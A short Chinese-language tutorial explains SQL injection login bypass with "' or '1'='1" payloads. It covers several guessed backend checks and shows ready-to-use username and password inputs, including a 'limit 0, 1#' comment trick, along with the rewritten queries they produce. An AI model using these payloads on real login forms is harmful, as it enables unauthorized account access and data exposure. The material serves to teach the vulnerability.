萬能條件 ' or 1=1
在用戶登錄界面,如果后端判斷不嚴謹,可以通過 or 1=1 的方式,結合其他條件滿足后端的登錄的驗證許可.
假設 登錄的驗證需要 username 和password 兩個參數.
情況一: 查詢結果不為空,或大於0
后端代碼:
# 查詢的SQL
result = SELECT * FROM users WHERE user = '#username' AND password = '#password'
#猜測后台驗證的方法 (偽java代碼)
if(result != null ){
return true;
}else {
thorw new RuntimeException ('登錄失敗')
}
或者(偽java代碼)
if(result.cont >0 ){
return true;
}else {
thorw new RuntimeException ('登錄失敗')
}
前端填寫:
用戶名隨意填寫或者空,密碼填寫 111' or '1'='1
這樣講導致SQL演變為
SELECT * FROM users WHERE user = 'name' AND password = '111' or '1'='1'
判斷條件變成了: 用戶名密碼匹配 或者 '1' = '1' 所以條件一直為真.會查出所有用戶信息
username 輸入 admin1' or '1'='1 即可,passwrd 可以填空或隨意值即可.
這樣講導致SQL演變為
SELECT * FROM users WHERE user = 'admin1' or '1'='1' AND password = ''
情況二: 直接查詢數量是否等於 1
情況一的方法就不能使用了,想辦法讓返回結果為1 即可.
后端代碼:
# 查詢的SQL
int result = SELECT count(*) FROM users WHERE user = '#username' AND password = '#password'
#猜測后台驗證的方法 (偽java代碼)
if(result == 1 ){
return true;
}else {
thorw new RuntimeException ('登錄失敗')
}
前端填寫 : 如果知道用戶名
username: admin' or '1'='1
補充: admin是真實用戶名
password: 隨意輸入密碼即可
這樣講導致SQL演變為
SELECT * FROM users WHERE user = 'admin' or '1'='1' AND password = '111'
可以理解為:
SELECT * FROM users WHERE user = 'admin' or( '1'='1' AND password = '111' )
這樣會導致只會查詢 user 為admin的用戶,導致查詢數量為1
前端填寫 : 如果不知道用戶名
username = 111' or '1'='1' limit 0, 1#
用戶名: 使用or 1=1 達到萬能條件,使用 limit 0,1 表示取第一條數據, 使用# 表示注釋掉后面的語句
password = 111
密碼隨意輸入即可
這樣講導致SQL演變為
SELECT * FROM `users` WHERE user = '111' or '1'='1' limit 0, 1# AND password = '111';